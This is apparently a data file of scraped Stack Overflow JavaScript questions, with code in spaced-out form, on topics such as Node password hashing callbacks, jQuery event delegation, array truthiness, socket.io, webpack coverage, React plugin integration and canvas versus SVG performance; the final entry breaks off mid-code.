? EDITAshleyB answer is good , but , please help me understand how to pass data from an internal function ( crypto.pbkdf2 ) to its external ( User.prototype.save = function ( fn ) ) , when the internal has predifined , fixed syntax ( crypto.pbkdf2 ) , so I dont know if or how I can edit it . How can I leave code as is and still pass the justCrypted back to psw ( see edits on code ) ? If it was a function that I wrote , I could use apply I guess , but , crypto.pbkdf2 is predifined and I dont know if can add stuff to it . Thanks var tobi = new User ( { usrnm : 'sp ' , pswrd : 'an ' } ) ; module.exports = User ; function User ( obj ) { for ( var key in obj ) { this [ key ] = obj [ key ] ; } } User.prototype.save = function ( fn ) { var user=this ; //EDIT , added this : var psw ; var salt = crypto.randomBytes ( 50 ) .toString ( 'base64 ' ) ; crypto.pbkdf2 ( user.pswrd , salt , 10000 , 150 , 'sha512 ' , function ( err , derivedKey ) { //user.pswrd = derivedKey.toString ( 'hex ' ) ; //EDIT , added this : var justCrypted = derivedKey.toString ( 'hex ' ) ; } ) ; var query=client.query ( 'INSERT INTO mytable ( usrnm , pswrd ) VALUES ( $ 1 , $ 2 ) RETURNING mytable_id ' , [ user.usrnm , user.pswrd ] , function ( err , result ) { if ( err ) { console.log ( err ) } else { var newlyCreatedId = result.rows [ 0 ] .mytable_id ; } } ) ; query.on ( `` end '' , function ( result ) { console.log ( result ) ; client.end ( ) ; } ) ; } tobi.save ( function ( err ) { if ( err ) throw error ; console.log ( `` yo '' ) ; } )",Pass value from internal to external function - Can not save password "JS : I seem to handle special cases like this somewhat frequently . There 's got to be a more concise syntax or construct : This is equivalent , but does n't feel any more elegant : Maybe there 's a bit shift trick ? Update : I ran some benchmarks to compare my two favorite answers - the one I accepted , and Peter Ajtai 's . Turns out Peter 's is quite a bit faster ! Running 1,000,000 iterations of each ( I also ran a version that caches Math.max to see how much time the lookup contributed ) shows that Peter 's runs in under half the time of the Math.max version , even with max caching.That said , even the `` slowest '' method is still quite fast . var x = solveForX ( ) ; /* some slow calculation here */if ( x < 0 ) { x = 0 ; } var x ; x = ( x = solveForX ( ) ) < 0 ? 0 : x ;",Is there a slicker way of doing this ? "JS : I am adding some elements dynamically and assigning a hover property to it in delegated event handlers for which I used below code and it did not work.Then I used mouseover and it worked : I would like to know why hover does not work , yet mouseover does . $ ( document ) .on ( `` hover '' , `` .sec_close_fast '' , function ( ) { $ ( this ) .parent ( 'div ' ) .parent ( 'div ' ) .css ( `` border '' , `` 3px solid # 000000 '' ) ; } ) ; $ ( document ) .on ( `` mouseover '' , `` .sec_close_fast '' , function ( ) { $ ( this ) .parent ( 'div ' ) .parent ( 'div ' ) .css ( `` border '' , `` 3px solid # 000000 '' ) ; } ) ;",Why hover does not work in delegated event handlers ? "JS : I have the following code snippet : The console says first is true which means [ ] is true . Now I am wondering why this : and this : are not true . If the console logged first is true in the first snippet , that means [ ] should be true , right ? So why do the latter two comparisons fail ? Here is the fiddle . if ( [ ] ) { console.log ( `` first is true '' ) ; } if ( [ ] == true ) { console.log ( `` second is true '' ) ; } if ( [ ] === true ) { console.log ( `` third is true '' ) ; }","If an array is truthy in JavaScript , why does n't it equal true ?" "JS : I am trying to build a small app in nodejs to publish and subscribe . I am stucked in how I can publish from client side . Here is the code I have . Here is my server code ( server.js ) And here is client code var express = require ( 'express ' ) , app = express ( ) , http = require ( 'http ' ) , server = http.createServer ( app ) ; app.use ( express.bodyParser ( ) ) ; app.get ( '/ ' , function ( req , res ) { res.sendfile ( __dirname + '/public/index.html ' ) ; } ) ; app.post ( '/publish/ : channel/ : event/ ' , function ( req , res ) { console.log ( `` ************************************** '' ) ; var params = req.params ; console.log ( req.params ) ; console.log ( req.body ) ; var data = req.body ; console.log ( `` ************************************** '' ) ; var result = io.sockets.emit ( params.channel , { event : params.event , data : data } ) ; //console.log ( result ) ; console.log ( `` ************************************** '' ) ; res.sendfile ( __dirname + '/public/index.html ' ) ; } ) ; //include static filesapp.use ( express.static ( __dirname + '/public ' ) ) ; server = server.listen ( 3000 ) ; var io = require ( 'socket.io ' ) .listen ( server ) ; io.sockets.on ( 'connection ' , function ( s ) { socket = s socket.emit ( 'c1 ' , { hello : 'world ' } ) ; socket.on ( 'test ' , function ( data ) { socket.emit ( 'c1 ' , { hello : 'world ' } ) ; console.log ( 'test ' ) ; console.log ( data ) ; } ) ; } ) ; var narad = { } ; narad.url = 'http : //192.168.0.46:3000 ' ; narad.lisentingChannels = { } var socket = io.connect ( narad.url ) ; function Channel ( channelName ) { this.channelName = channelName ; //serviceObject is the object of this.events = { } ; } ; Channel.prototype.bind = function ( event , callback ) { this.events [ event ] = callback ; } ; narad.subscribe = function ( channelName ) { var channel = new Channel ( channelName ) this.lisentingChannels [ channelName ] = channel ; socket.on ( channelName , this.callbackBuilder ( channel ) ) return this.lisentingChannels [ channelName ] ; } narad.callbackBuilder = function ( channel ) { return function ( data ) { var callback = channel.events [ data [ `` event '' ] ] ; callback ( data.data ) ; } }",Nodejs Publish from Client in pub/sub "JS : First of all Sorry , I do n't know what to call those keys ( ENTER , F1 , HOME , etc ) .Actually , I 'm creating an input search box which onkeyup calls a function . When the user has input at least two keys my function is called and relevant search results are displayed using AJAX . The problem is when the user presses arrow key , HOME , END , etc then also my ajax is called which I do n't want . And pressing F5 key to reload the page when focused on the input do n't reloads the page , instead calls the AJAX , that 's why it 's a big issue for me.I want to add an extra expression in the if , that checks if the non-visible key is pressed or not . Like -If any visible key is pressed then ajax is called , else its not.I do n't know how to achieve this . As I can not do e.keycode == '65 ' for each keys like A , B , C , \ , = , +,1,2,3 , etcIs there a ready made library to check this or any other way to do this ? Please help me . $ ( 'input [ name=\'search\ ' ] ' ) .on ( keyup , function ( e ) { if ( $ ( 'input [ name=\'search\ ' ] ' ) .val ( ) .length > = 2 ) { // call ajax to display results.. } } ) ; if ( $ ( 'input [ name=\'search\ ' ] ' ) .val ( ) .length > = 2 & & ( EXPRESSION FOR VISIBLE KEYS ) ) { // call ajax to display results.. }","How to detect non-visible keys ( ENTER , F1 , SHIFT ) altogether using JS or jQuery ?" "JS : I 'd like to change a color and number of a html element on click of a div . For example , when you click up-arrow the number changes from 4 to 5 and the color changes as well . ↑ 4 ↓ ↑ 5 ↓ ↑ 3 ↓ here 's what I have so far.I know how to change the color of a div on click , however I do n't know how to change the color of a div from an onclick of a different div . And then on top of that add the +1 or -1.http : //jsfiddle.net/64QpR/23/note- user : uneducatedguy just asked this same question however he deleted it because people were making fun of him since he called it a fiddle in stead of a jsfiddle . initial state upvoted down voted",Change color and number onclick of a div "JS : When the user presses enter I want the cursor to move to a new line , but if they are currently indented by two tabs , then the cursor should stay indented two tabs.I have already implemented the ignore tab event to stop the focus moving within the page , so I 'm now just looking for the logic to keep the tab level on new line . if ( e.keyCode === 13 ) { //Logic here }",How do you keep the tab level in a textarea when pressing enter ? "JS : Defining a utility function to inspect objects ' prototype chains ( in Chrome ) , I get this for arrays.So it would appear thatI understand the first equality . I have no idea what the third term is , though I have heard that ES6 will have Symbols.Is this thing the same as Array.prototype ? Why does it print that way ? Edit : chrome : //version information : [ ] .__proto__ === Array.prototype // === [ Symbol ( Symbol.unscopables ) : Object ] Google Chrome 40.0.2214.111 ( Official Build ) Revision 6f7d3278c39ba2de437c55ae7e380c6b3641e94e-refs/branch-heads/2214 @ { # 480 } OS Linux Blink 537.36 ( @ 189455 ) JavaScript V8 3.30.33.16",[ ] .__proto__ === Array.prototype // === [ Symbol ( Symbol.unscopables ) : Object ] ? JS : I 've seen this odd behavior right now that I could not define or It throws an Uncaught SyntaxError.But test = function ( ) { } or ( function ( ) { } ) did work.The Safari dev tools have a better error report : It says SyntaxError : Function statements must have a name.Okay it makes no sense to define a function like that if you will never use it . But it 's still odd . I guess I have already provided the answer in the question . function ( ) { } function ( a ) { console.log ( a ) },"Why does function ( ) { } not work , but ( function ( ) { } ) does ? ( Chrome DevTools/Node )" "JS : I 'd like to define some constants that are returned from an asynchronous resource . Is there anyway to do this in Webpack ? /* webpack.config.js */module.exports = { ... , plugins : [ new webpack.DefinePlugin ( { someVar : /* RETURN VARIABLE FROM ASYNC FUNCTION */ } ) ] }",Webpack DefinePlugin from async function "JS : I have a d3 graph that I implemented in Canvas . The graphs performance is great in Chrome , but when I deploy it with Ionic ( webview ) , zoom and pan redrawing are really staggering on android and even slower on iOS.I originally developed the graph with SVG , but switched to canvas after being convinced that canvas would run smoother . Setup CodeHTMLCanvas InitializingDraw CodeThe canvas draw code looks like this : Zoom CodeMy zoom code looks like this : The performance seems to increase when excluding the area path ( not drawing it at all ) from the canvas.The codeI 'm attaching a link to the repository . To make it run do the following : git clone https : //github.com/airasheed/canvas-d3-test.gitnpm installionic serve < -- for browser to see graphionic cordova build ios/android < -- choose your testing platformOR - ionic cordova emulate android/iosI 'd like to know if its a code performance issue or if the amount of data i 'm using is what 's causing the issue.For the first zoom level there are only 21 points , to plot which is surprising . It seems its staggering when redrawing.BenchmarkingIn chrome the line ( data ) method takes .5ms , but in the iOS webview it can take anywhere from 15ms - 40ms . It looks like its lagging and not responsive . < ion-header > < ion-navbar > < ion-title > Ionic Blank < /ion-title > < /ion-navbar > < /ion-header > < ion-content padding > < canvas width= '' 300 '' height= '' 300 '' > < /canvas > < /ion-content > mode = 'monthly ' ; canvas = document.querySelector ( `` canvas '' ) ; context = canvas.getContext ( `` 2d '' ) ; margin = { top : 20 , right : 20 , bottom : 30 , left : 50 } , width = canvas.width - margin.left - margin.right , height = canvas.height - margin.top - margin.bottom ; var parseTime = d3.timeParse ( `` % d- % b- % y '' ) ; // setup scales x = d3.scaleTime ( ) .range ( [ 0 , width ] ) ; x2 = d3.scaleTime ( ) .range ( [ 0 , width ] ) ; y = d3.scaleLinear ( ) .range ( [ height , 0 ] ) ; // setup domain x.domain ( d3.extent ( data , function ( d ) { return moment ( d.usageTime ) ; } ) ) ; y.domain ( d3.extent ( data , function ( d ) { return d.kWh ; } ) ) ; x2.domain ( x.domain ( ) ) ; // get day range dayDiff = daydiff ( x.domain ( ) [ 0 ] , x.domain ( ) [ 1 ] ) ; // line generator line = d3.line ( ) .x ( function ( d ) { return x ( moment ( d.usageTime ) ) ; } ) .y ( function ( d ) { return y ( d.kWh ) ; } ) .curve ( d3.curveMonotoneX ) .context ( context ) ; area = d3.area ( ) .curve ( d3.curveMonotoneX ) .x ( function ( d ) { return x ( moment ( d.usageTime ) ) ; } ) .y0 ( height ) .y1 ( function ( d ) { return y ( d.kWh ) ; } ) .context ( context ) ; // zoom zoom = d3.zoom ( ) .scaleExtent ( [ 1 , dayDiff * 12 ] ) .translateExtent ( [ [ 0 , 0 ] , [ width , height ] ] ) .extent ( [ [ 0 , 0 ] , [ width , height ] ] ) .on ( `` zoom '' , zoomed ) ; d3.select ( `` canvas '' ) .call ( zoom ) context.translate ( margin.left , margin.top ) ; draw ( ) ; function draw ( ) { // remove everything : context.clearRect ( -margin.left , -margin.top , canvas.width , canvas.height ) ; // draw axes : xAxis ( ) ; yAxis ( ) ; // save the context without a clip path context.save ( ) ; // create a clip path : context.beginPath ( ) context.rect ( 0 , 0 , width , height ) ; context.lineWidth = 0 ; context.strokeStyle = `` none '' ; context.stroke ( ) ; context.clip ( ) ; // draw line in clip path line ( data ) ; context.lineWidth = 1.5 ; context.strokeStyle = `` steelblue '' ; context.stroke ( ) ; context.beginPath ( ) ; area ( data ) ; context.fillStyle = 'steelblue ' ; context.strokeStyle = 'steelblue ' ; context.fill ( ) ; // restore without a clip path context.restore ( ) ; } function zoomed ( ) { var t = d3.event.transform ; x = t.rescaleX ( x2 ) ; draw ( ) ; var diff = daydiff ( x.domain ( ) [ 0 ] , x.domain ( ) [ 1 ] ) ; if ( diff < 366 & & diff > 120 & & mode ! == 'monthly ' ) { mode = 'monthly ' ; data = monthlyData ; y.domain ( d3.extent ( data , function ( d ) { return d.kWh ; } ) ) ; return ; } if ( diff < = 120 & & diff > 2 & & mode ! == 'daily ' ) { mode = 'daily ' ; data = dailyData ; y.domain ( d3.extent ( data , function ( d ) { return d.kWh ; } ) ) ; return ; } }",D3 Canvas graph zooming and panning slow redraw in Webview "JS : What are the differences between the two solutions below ? In particular , is there a good reason to favour 2 over 1 . ( note : Please assume the name of the script to load is known . The question is just about if there is value in creating a minimal script to load a script in the given situation ) 1 - Script At The Bottom2 - Script at the bottom loads external script < html > < body > ... ... < script src='myScript.js ' > < /script > < /body > < /html > < html > < body > ... ... < script > // minimal script to load another script var script = document.createElement ( 'script ' ) ; script.src = 'myScript.js ' document.body.appendChild ( script ) ; < /script > < /body > < /html >",Two different ways of putting the script at the bottom - what are the differences ? "JS : I ’ m stuck using a jquery emoji plugin on one of my components until I finish with a custom plugin I ’ m building.For some reason , when I call the emoji plugin inside of componentDidMount , everything works except the ability to utilize a custom button to show the emoji modal . When I use a custom button , the emoji plugin doesn ’ t attach the event to the button.What ’ s crazy is that I can use the same exact code in useEffect , and it attaches the event listener to the custom button just fine.I verified that the event listener is not attached by looking in the web console at events attached to the element after the page loaded.You can easily reproduce this problem by placing this component somewhere in an app ( and importing jquery with the emoji-area plugin ) : Simply change this to a class component , and you ’ ll see that within componentDidMount , everything works except the custom button . Any idea what could cause this change in behavior ? ? Here is the react class component version : import React , { useEffect } from 'react ' ; export default function CommentInput ( props ) { useEffect ( ( ) = > { const id = props.blurtId , $ wysiwyg = $ ( ' # ' + id ) .emojiarea ( { button : ' # emoji-btn ' + id } ) ; $ .emojiarea.path = '/js/jquery/emojis/ ' ; $ .emojiarea.icons = { ' : smile : ' : 'smile.png ' , ' : angry : ' : 'angry.png ' , ' : flushed : ' : 'flushed.png ' , ' : neckbeard : ' : 'neckbeard.png ' , ' : laughing : ' : 'laughing.png ' } ; } , [ ] ) ; return ( < > < textarea id= { props.blurtId } className='blurt-comment-input ' / > < i id= { 'emoji-btn ' + props.blurtId } className='fa fa-smile emoji-btn ' / > < / > ) } import React , { Component } from 'react ' ; class CommentInput extends Component { constructor ( props ) { super ( props ) ; } componentDidMount ( ) { const id = this.props.blurtId , $ wysiwyg = $ ( ' # ' + id ) .emojiarea ( { button : ' # emoji-btn ' + id } ) ; $ .emojiarea.path = '/js/jquery/emojis/ ' ; $ .emojiarea.icons = { ' : smile : ' : 'smile.png ' , ' : angry : ' : 'angry.png ' , ' : flushed : ' : 'flushed.png ' , ' : neckbeard : ' : 'neckbeard.png ' , ' : laughing : ' : 'laughing.png ' } ; } ; render ( ) { return ( < > < textarea id= { this.props.blurtId } className='blurt-comment-input ' / > < i id= { 'emoji-btn ' + this.props.blurtId } className='fa fa-smile emoji-btn ' / > < / > ) } } export default CommentInput ;",different behavior with componentDidMount than useEffect when using jquery emoji plugin "JS : What 's happening is that when I run my tests , my coverage only shows bundle.js which is n't that helpful.I have the following webpack file setup and wanted to know what I should change to make it so that each file is covered individuallywebpack.config-test.jsrunning the command via npm : The output currently is : whereas I 'm expecting the output to beIn the non mocha-webpack version , I also added the filename to each test , and I would like that to also happen in the webpack version . So without webpack , I run on an index.js , i.e.index.jswhich then outputs something like : UpdateThere 's source-mapping , but it 's showing a lot more than I 'd like : https : //github.com/zinserjan/mocha-webpack/blob/master/docs/installation/webpack-configuration.mdHow would I reduce it so that only the files being checked are outputted ? var nodeExternals = require ( `` webpack-node-externals '' ) const path = require ( `` path '' ) module.exports = { context : path.resolve ( __dirname ) , resolve : { extensions : [ `` .js '' ] , alias : { `` @ '' : path.join ( __dirname , `` ../../src/server '' ) , } } , output : { path : `` ./ '' , filename : `` [ name ] .js '' , } , target : `` node '' , // webpack should compile node compatible code externals : [ nodeExternals ( ) ] , // in order to ignore all modules in node_modules folder } nyc mocha-webpack -- webpack-config test/server/webpack.config-test.js -- glob \ '' *spec.js\ '' test/server/unit All files | 90.38 | 70.83 | 90.91 | 90.2 | | bundle.js | 90.38 | 70.83 | 90.91 | 90.2 | ... 78,280,282,306 All files | 80 | 68.75 | 80 | 80 | | functions.js | 78.79 | 68.75 | 80 | 78.79 | ... 59,60,62,64,88 | mixin.js | 100 | 100 | 100 | 100 | const fs = require ( `` fs '' ) const path = require ( `` path '' ) const files = fs.readdirSync ( __dirname ) files.forEach ( file = > { if ( ! file.match ( /\.spec\.js $ / ) ) return console.log ( file ) describe ( file , function ( ) { require ( path.join ( __dirname , file ) ) } ) } ) sql.spec.js Some SQL tests ✓ should be 10 test.spec.js generateRandomString ✓ should generate a 20 length string ✓ should generate a 40 length string ✓ should throw error for -10 ✓ should throw error for length getRequiredProps ✓ should get prop ✓ should throw error toTime ✓ 1 seconds should return 1000 ✓ 1 minutes should return 60000 ✓ 1 hours should return 3600000 ✓ 1 days should return 86400000 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | -- -- -- -- -- | -- -- -- -- -- | -- -- -- -- -- | -- -- -- -- -- | -- -- -- -- -- -- -- -- -- -|File | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line # s | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | -- -- -- -- -- | -- -- -- -- -- | -- -- -- -- -- | -- -- -- -- -- | -- -- -- -- -- -- -- -- -- -|All files | 78.8 | 54.72 | 87.27 | 78.7 | | .tmp/mocha-webpack/1532582562486/webpack | 95.45 | 75 | 83.33 | 95.24 | | bootstrap 4e654663ecc955703de0 | 95.45 | 75 | 83.33 | 95.24 | 49 | node_modules/mocha-webpack/lib | 100 | 100 | 100 | 100 | | entry.js | 100 | 100 | 100 | 100 | | src/server | 64 | 48.65 | 70 | 64 | | db.js | 45.61 | 26.32 | 45.45 | 45.61 | ... 20,122,126,138 | functions.js | 84.85 | 72.22 | 100 | 84.85 | 42,58,59,60,87 | mixin.js | 100 | 100 | 100 | 100 | | mock.js | 100 | 100 | 100 | 100 | | src/server/post | 75 | 62.5 | 100 | 75 | | maptool.js | 75 | 62.5 | 100 | 75 | ... 41,148,158,159 | test/server/unit | 98.33 | 100 | 100 | 98.33 | | functions.spec.js | 96.97 | 100 | 100 | 96.97 | 67 | maptool.spec.js | 100 | 100 | 100 | 100 | | mock.spec.js | 100 | 100 | 100 | 100 | | sql.spec.js | 100 | 100 | 100 | 100 | | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | -- -- -- -- -- | -- -- -- -- -- | -- -- -- -- -- | -- -- -- -- -- | -- -- -- -- -- -- -- -- -- -|",how to separate files for mocha-webpack "JS : I am having trouble settling down to a proper practice for UI JavaScript coding . So I am looking for a smarter way to do things . I ’ ve been using jQuery with ASP.NET and I have been doing things like below which seems unprofessional and dumb . JavaScript UI programming has always been a mysterious to me . I know how to do it but I never knew how to do it properly.Problems : Code duplications are often therefore harder to maintain and reuseWith ClientIds are generated by ASP.NET , it ’ s hard to pull code chunks into separate js filesCommon declarations are placed on master pages , however jQuery document ready function appears almost on every other pages as wellGoals : JavaScript library/framework independent , so that it will be easier to switch frameworks down the roadEncapsulate/modulate logic for easy reuse , so that on each page , it will only be a few simple lines of initialization codeSeparation of concerns for easy maintenance and readabilityQuestions : Being a C # developer mainly my thinking is very OO and jQuery is very procedural . I understand the concepts of Anonymous Function however in general my mind is still trying to make a domain model which abstracts the UI then declares properties or methods . But I am really not sure if this is the way in JavaScript . Or am I being too ideal or am I trying too hard to make something that 's not supposed to be OO OO like ? So the questions are : Should I start to encapsulate/modulate functions using JavaScript prototype and make it a bit more OO like ? So that HTML controls or behaviours can be encapsulated for reuse ? Or should I start encapsulate logics into jQuery plug-in ? But this way the code will be 100 % dependent on jQuery.Or any other approaches ? Thank you.Updated : I just found this slide and it seems to be a good starting point.This is also a good example that I just found . And a good tutorial by the creator of jQuery . $ ( function ( ) { $ ( 'submit ' ) .click ( function ( ) { //behaviors , setup styles , validations , blah ... } ) ; } ) ;",Best way to architect JavaScript UI code with ASP.NET in terms of reuse and logic encapulation ? "JS : DisclaimerGuys , I DO aware of Why does 10..toString ( ) work , but 10.toString ( ) does not ? question existence , but the thing is that it does n't provide the formal explanation . The specification 's interpretation of the . character in that particular position is that it will be a decimal . This is defined by the numeric literal syntax of ECMAScript.Without reference to a standard is n't trustable enoughThe question bodyI subconsciously understand thatis treated by a parser as a 42. number followed by a .toString ( ) call.What I can not understand is why an interpreter can not realize thatis a 42 followed by a method call.Is it just a drawback of modern JS interpreters or is it explicitly stated by ES5.1 ? From ES5.1 the Numeric Literal is defined as ( only significant part of definition ) : The last rule is what I expect to be chosen by a parser.UPD : to clarify , this question expects as an answer references to ES specification that state explicitly that interpreter must behave like it does 42..toString ( ) 42.toString ( ) NumericLiteral : : DecimalLiteral HexIntegerLiteralDecimalLiteral : : DecimalIntegerLiteral . DecimalDigits ( opt ) ExponentPart ( opt ) . DecimalDigits ExponentPart ( opt ) DecimalIntegerLiteral ExponentPart ( opt )",Why 42.toString ( ) fails in JS ? "JS : Consider : Why does the third line return false ? If I remove the `` g '' flag , then it returns true . var reg = new RegExp ( `` ^19 [ -\\d ] * '' , '' g '' ) ; reg.test ( '1973-02-01 ' ) // truereg.test ( '1973-01-01 ' ) // false",Why does the ' g ' flag change the result of a JavaScript regular expression ? "JS : Check out the following snippet of HTML/Javascript code : This outputs : which is n't what I was expecting - I was expecting the output 0 , 1 , 2 , 0 , 1 , 2 , I ( incorrectly ) assumed that the anonymous function being pushed into the array would behave as a closure , capturing the value of i that 's assigned when the function is created - but it actually appears that i is behaving as a global variable.Can anyone explain what 's happening to the scope of i in this code example , and why the anonymous function is n't capturing its value ? < html > < head > < script type= '' text/javascript '' > var alerts = [ ] ; for ( var i = 0 ; i < 3 ; i++ ) { alerts.push ( function ( ) { document.write ( i + ' , ' ) ; } ) ; } for ( var j = 0 ; j < 3 ; j++ ) { ( alerts [ j ] ) ( ) ; } for ( var i = 0 ; i < 3 ; i++ ) { ( alerts [ i ] ) ( ) ; } < /script > < /head > < body > < /body > < /html > 3 , 3 , 3 , 0 , 1 , 2",What 's the scope of a Javascript variable declared in a for ( ) loop ? "JS : I 'm trying to learn JavaScript and the DOM . Based on some examples on the Internet I have created this HTML : Then later in the JavaScript code I have this line.The code works well . I 'm able to change what 's shown inside that text input . But now I 'm trying to understand the underlying code and how it all works . I looked up some DOM reference in https : //developer.mozilla.org/en-US/docs/Web/API/document.getElementById.I can see that the method should return an object Element . However , element does not contain a property called value . But I notice there is a sub-object called HTMLElement which has a sub-object HTMLInputElement . And that object contains a property called value.Is that code above somehow typecast as the child object ? Why does the value property work as such ? < input type= '' text '' id= '' amount3 '' > document.getElementById ( `` amount3 '' ) .value= x ;",Why does document.getElementById return an object that has a property called 'value ' ? "JS : A drop down contains an array value . If i select one value from drop down it will remove that value from array its working . But on click of reset button it should reset with old values .Here is my code HTML codeangularjs controler codeusing splice i am removing the dropdown selected value . but on click of button its not resetting Thanks in advance < html > < head > < script src= '' angular/angular.js '' > < /script > < script src= '' js/controllers.js '' > < /script > < /head > < body ng-app= '' myApp '' > < div ng-controller= '' exerciseTypeCtrl '' > < select id= '' exerciseSuperCategory '' data-role= '' listview '' ng-options= '' Lay.id as Lay.value for Lay in Layer `` ng-model= '' itemsuper '' ng-change= '' changeData ( itemsuper ) '' > < /select > < input type= '' button '' ng-click= '' resetLayer ( ) '' value= '' Reset '' / > < /div > < /body > < /html > < script > var myApp = angular.module ( 'myApp ' , [ ] ) ; myApp.controller ( 'exerciseTypeCtrl ' , function ( $ scope ) { $ scope.Layer = [ { id : 1 , value : ' 0.38 ' } , { id : 2 , value : ' 0.76 ' } , { id : 3 , value : ' 1.14 ' } , { id : 4 , value : ' 1.52 ' } , { id : 5 , value : ' 1.9 ' } , { id : 6 , value : ' 2.28 ' } , { id : 7 , value : ' 2.66 ' } , { id : 8 , value : ' 3.04 ' } , { id : 9 , value : ' 3.42 ' } , { id : 10 , value : ' 3.8 ' } , { id : 11 , value : ' 4.18 ' } , { id : 12 , value : ' 4.56 ' } ] ; $ scope.changeData = function ( value ) { var coating = $ scope.Layer ; if ( coating ! = null ) { var j = coating.length ; while ( j > 0 ) { j =j-1 ; var make = coating [ j ] [ 'id ' ] ; var present = 0 ; if ( make == value ) { coating.indexOf ( make ) ; coating.splice ( j,1 ) ; } } } } $ scope.resetLayer -function ( ) { $ scope.Layer = $ scope.Layer ; } } ) ; < /script >",After removing an element from array using splice . its not resetting.Is my code has any mistake "JS : Relevant information : The page contains two elements : An < aside > to the left.A < main > to the right . ( Note : Throughout this post , heights are mentioned for the sake of completeness , but are irrelevant to producing this problem . ) All heights , widths , and margins are set with respect to var w = screen.width/100 ; ( and var h = screen.height/100 ; ) so that the page essentially looks the same in any display resolution . And they are set so that the width of < aside > and < main > , and the margin between them all add up to screen.width.For example : ( 85.5 + 14 + 0.5 = 100 ) The problem : The < main > gets pushed down below the < aside > for unknown reasons . I can only think of a half-sensible hypothesis to somewhat explain this behavior.However , if I set the font size of the body to 0 and zoom out ( so that the elements take less space ) and zoom back in , this gets fixed ( I do n't know why , and do n't ask me how I found this out ) .What is the reason for this behavior , and what is the proper fix ? The hypothesis ( can be skipped ) : The browser seems to think `` What would happen if I display the scrollbars even though they are not needed ? `` , and then notices that the scrollbars have a width > 0 , which means that < aside > and < main > are taking more space than available ( since they are set to take up 100 % of the screen width , and now there is a scrollbar competing for the space ) . The browser therefore decides to reposition the < main > below the < aside > and ruin the design . And now since < main > is under < aside > the elements no longer fit inside the screen and the scrollbars are actually needed now and therefore stay , even though they are the cause of their own existence ( as far as this hypothesis goes ) .Additional information : I am not using any CSS-stylesheet : all my styling is done by JavaScript ( for the simple reason that I want the sizes to depend on screen.width and screen.height ) .The elements have display = `` inline-block '' ; . Using float produces horrendous behavior when the browser is anything but max size.Here is the code to reproduce the problem : var w = screen.width/100 ; document.getElementsByTagName ( 'main ' ) [ 0 ] .style.width = 85.5*w + `` px '' ; document.getElementsByTagName ( 'aside ' ) [ 0 ] .style.width = 14*w + `` px '' ; document.getElementsByTagName ( 'aside ' ) [ 0 ] .style.marginRight = 0.5*w + `` px '' ; < ! DOCTYPE html > < html > < body > < aside > < /aside > < main > < /main > < script > var h = screen.height/100 ; var w = screen.width/100 ; var e = document.getElementsByTagName ( `` aside '' ) [ 0 ] .style ; e.display = `` inline-block '' ; e.backgroundColor = `` lightblue '' ; e.width = 14*w + `` px '' ; e.height = 69*h + `` px '' ; e.marginRight = 0.5*w + `` px '' ; e = document.getElementsByTagName ( `` main '' ) [ 0 ] .style ; e.display = `` inline-block '' ; e.backgroundColor = `` green '' ; e.width = 85.5*w + `` px '' ; e.height = 69*h + `` px '' ; e = document.getElementsByTagName ( `` body '' ) [ 0 ] .style ; e.margin = e.padding = `` 0 '' ; e.backgroundColor = `` black '' ; < /script > < /body > < /html >",Elements do not find enough space inside body - JavaScript styling "JS : For some reason document body right padding does not update properly on display when trying to change padding-right value using JavaScript after page has been loaded . Check out this fiddle which demonstrates the issue.HTML < html > < body > < div > < /div > < /body > < /html > JavaScripthttp : //jsfiddle.net/gyqEK/2/There were some workarounds how I was able to make the changes in right padding effectiveresize browser windowswitch document body display to none and via zero ms timeout function back to blockwrite some HTML content into a div ( in the fiddle example ) I have n't tested this yet on Windows Chrome , but on Ubuntu 12.04 Chrome version 24 I 'm able to reproduce this issue . On Firefox this problem does n't occur . Anyone else facing this same issue and can someone confirm whether this happens on other operating systems and/or Chrome versions too ? UpdateI updated a new fiddle which is now closer to the original idea I wanted to achieve . When `` something '' is done ( in this case div is clicked ) I wanted document body right padding to change in more or less smooth animation . This works perfectly in Firefox , but could n't make it work in latest Chrome.http : //jsfiddle.net/gyqEK/5/Whether it makes sense to change document body right padding or not is another question . My goal was to move all page contents 200 pixels away from right edge in order to reserve some space for absolutely positioned sidebar div element there . I achieved this by wrapping my page content into div element and instead of body padding-right I 'm changing the wrapper div elements right margin now . This approach works smoothly also in Chrome . // Workaround # 1 : changing right padding without timeout// $ ( document.body ) .css ( 'padding-right ' , '100px ' ) ; setTimeout ( function ( ) { // This does n't work properly ( at least for me ) in Chrome on Ubuntu 12.04 $ ( document.body ) .css ( 'padding-right ' , '100px ' ) ; // Write info in body that function was executed $ ( document.body ) .append ( 'timeout function executed ' ) ; // Workaround # 2 : write content into div // $ ( 'div ' ) .append ( 'timeout function executed ' ) ; // Workaround # 3 : set document body display to none and back to block via zero ms timeout /* $ ( document.body ) .css ( 'display ' , 'none ' ) ; setTimeout ( function ( ) { $ ( document.body ) .css ( 'display ' , 'block ' ) ; } , 0 ) ; */ } , 1000 ) ; $ ( 'div ' ) .click ( function ( ) { var jqBody = $ ( document.body ) ; if ( jqBody.css ( 'padding-right ' ) ! == '200px ' ) { jqBody.animate ( { 'padding-right ' : '200px ' } , 500 ) ; } else { jqBody.animate ( { 'padding-right ' : ' 0 ' } , 500 ) ; } } ) ;",Weird document body right padding issue in Chrome "JS : I would like to measure the performance between canvas and svg in HTML5.I have done so far . I have created multiple circles in svg and canvas.Both have a 500 x 500 Element width and height.I found out I am measuring the scripting time . If I use the dev tools in Chrome , the scripting time is nearly equal to my measured time.Now , how can I measure the rendering time ? Would be a code with separate canvas and svg circle creation and devtools for rendering a good way to compare svg and canvas rendering performance ? Somehow the scripting time and my measured performance time is different.Can someone tell me if this performance comparison is useful ? I did the test multiple times , the performance time is always different but canvas is faster than svg in rendering and also in scripting.Why in rendering ? Scripting should be because of the DOM reference of svg ? This test I did with seperate svg and canvas , I just rendered first only svg , and in the next test only canvas . < html > < head > < script type= '' text/javascript '' > var svgNS = `` http : //www.w3.org/2000/svg '' ; function createCircle1 ( ) { var t3 = performance.now ( ) ; for ( var x = 1 ; x < = 1000 ; x++ ) { for ( var y = 1 ; y < = 100 ; y++ ) { var c = document.getElementById ( `` myCanvas '' ) ; var ctx = c.getContext ( `` 2d '' ) ; ctx.beginPath ( ) ; ctx.arc ( x , y , 5 , 0 , 2 * Math.PI ) ; ctx.stroke ( ) ; } } var t4 = 